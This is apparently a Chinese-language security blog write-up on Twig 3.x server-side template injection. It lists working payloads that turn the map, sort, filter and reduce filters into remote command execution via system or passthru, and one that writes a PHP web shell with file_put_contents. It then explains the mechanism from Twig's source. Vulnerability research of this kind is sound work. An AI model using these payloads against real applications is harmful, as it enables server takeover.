上次发了一篇Twig 3.x with Symfony的SSTI利用方法,这几天刷twitter的时候又看到了一篇writeup,里面提到了另外一种rce的方法,这种方法不依赖于Symfony。
payloads
直接上结论,下面的payload在Twig 3.x 版本测试通过,看了1.x和2.x版本的代码,应该也是可以利用的。
{{["id"]|map("system")|join(",")}}{{["id", 0]|sort("system")|join(",")}}{{["id"]|filter("system")|join(",")}}{{[0, 0]|reduce("system", "id")|join(",")}}{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
分析
map
文档里面map的用法

允许用户传一个arrow function, arrow function最后会变成一个closure
举个例子
{{["man"]|map((arg)=>"hello #{arg}")}}
会被编译成
1  | twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))  | 
map 对应的函数是twig_array_map ,下面是其实现
1  | function twig_array_map($array, $arrow)  | 
从上面的代码我们可以看到,$arrow 是可控的,可以不传arrow function,可以只传一个字符串。所以我们需要找个两个参数的能够命令执行的危险函数即可。通过查阅常见的命令执行函数:
system ( string
$command[, int&$return_var] ) : stringpassthru ( string
$command[, int&$return_var] )exec ( string
$command[, array&$output[, int&$return_var]] ) : stringpopen ( string
$command, string$mode)shell_exec ( string
$cmd) : string
只要可以传两个参数的基本都可以,所以前四个都是可以用的。
思考一下如果上面的都被禁了,还有其他办法吗?
file_put_contents ( string
$filename, mixed$data[, int$flags= 0 [, resource$context]] ) : int
通过{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}} 写个shell 也是可以的。
当然了应该还有其他函数可以利用。
下面通过调试来看一下传arrow fucntion 和 直接传字符串会有什么不同。
(arg)=>”hello #{arg}”` 会被解析成ArrowFunctionExpression,经过一些列处理会变成一个闭包函数。

但是如果我们传的是 `{{["id"]|map("passthru")}} passthru 会被解析成 ConstanExpression

{{["id"]|map("passthru")}} 最终会被编译成下面这样
1  | twig_array_map([0 => "whoami"], "passthru")  | 
按照这个思路,我们去找$arrow 参数的, 可以发现下面几个filter也是可以利用的
sort
1  | function twig_sort_filter($array, $arrow = null)  | 
usort ( array
&$array, callable$value_compare_func) : bool

所以我们可以构造
1  | {{["id", 0]|sort("passthru")}}  | 
filter
1  | function twig_array_filter($array, $arrow)  | 
array_filter ( array
$array[, callable$callback[, int$flag= 0 ]] ) : array
只需要传一个参数即可
1  | {{["id"]|filter('system')}}  | 
reduce
1  | function twig_array_reduce($array, $arrow, $initial = null)  | 
array_reduce ( array
$array, callable$callback[, mixed$initial=NULL] ) : mixed
刚开始构造还是像前面那样构造成了
1  | {{["id", 0]|reduce("passthru")}}  | 
但是会发现没有执行成功,是因为第一次调用的是passthru($initial, "id"), $initial 是null,所以会失败。所以把$initial 赋值成要执行的命令即可
1  | {{[0, 0]|reduce("passthru", "id")}}  | 
不知道有没有自动化fuzz,把php允许有callback参数的所有函数找出来,如果有师傅研究过,欢迎来交流。